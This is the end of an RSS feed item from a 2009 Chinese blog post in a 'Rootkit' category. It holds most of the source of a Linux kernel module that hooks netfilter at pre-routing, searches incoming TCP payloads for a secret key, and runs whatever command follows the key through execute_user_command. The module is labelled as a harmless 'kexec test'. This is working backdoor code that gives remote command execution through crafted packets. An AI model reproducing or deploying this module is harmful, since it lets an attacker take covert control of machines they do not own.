&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr =<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   (struct tcphdr *)((void *)sk-&gt;data +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   ((struct iphdr *)sk-&gt;data)-&gt;ihl * 4);<br>
<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   data = (char *)((int *)tcphdr + (int)(tcphdr-&gt;doff));<br>
#else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr = (struct tcphdr *)((__u32 *)ip + ip-&gt;ihl);<br>
<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   data = (char *)((int *)tcphdr + (int)(tcphdr-&gt;doff));<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   * filter the connected tcp packet<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   */<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   DbgPrint(&quot;got the tcp key .\n&quot;);<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   p += strlen(TCP_SHELL_KEY) + 1;<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   DbgPrint(&quot;%s\n&quot;, p);<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   execute_user_command(p);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   goto out;<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   }<br>
<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   out:<br>
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   memset(buf, '\0', BUFF_NUM);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   }<br>
}<br>
<br>
static int kexec_test_init(void)<br>
{<br>
&nbsp;&nbsp;&nbsp;   printk(&quot;kexec test start ...\n&quot;);<br>
<br>
&nbsp;&nbsp;&nbsp;   nfho.hook = hook_func;<br>
&nbsp;&nbsp;&nbsp;   nfho.owner = NULL;<br>
&nbsp;&nbsp;&nbsp;   nfho.pf = PF_INET;<br>
<br>
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   nfho.hooknum = NF_INET_PRE_ROUTING;<br>
#else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   nfho.hooknum = NF_IP_PRE_ROUTING;<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp;   nfho.priority = NF_IP_PRI_FIRST;<br>
&nbsp;&nbsp;&nbsp;   <br>
&nbsp;&nbsp;&nbsp;   nf_register_hook(&amp;nfho);<br>
<br>
&nbsp;&nbsp;&nbsp;   return 0;<br>
}<br>
<br>
static void kexec_test_exit(void)<br>
{<br>
&nbsp;&nbsp;&nbsp;   printk(&quot;kexec test exit ...\n&quot;);<br>
&nbsp;&nbsp;&nbsp;   nf_unregister_hook(&amp;nfho);<br>
}<br>
<br>
module_init(kexec_test_init);<br>
module_exit(kexec_test_exit); <a href="http://hi.baidu.com/wzt85/blog/item/b632a6d52e0935cc50da4b53.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Rootkit">Rootkit</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/b632a6d52e0935cc50da4b53.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-04  08:10</pubDate>
        <category><![CDATA[Rootkit]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/b632a6d52e0935cc50da4b53.html</guid>
</item>


</channel>
</rss>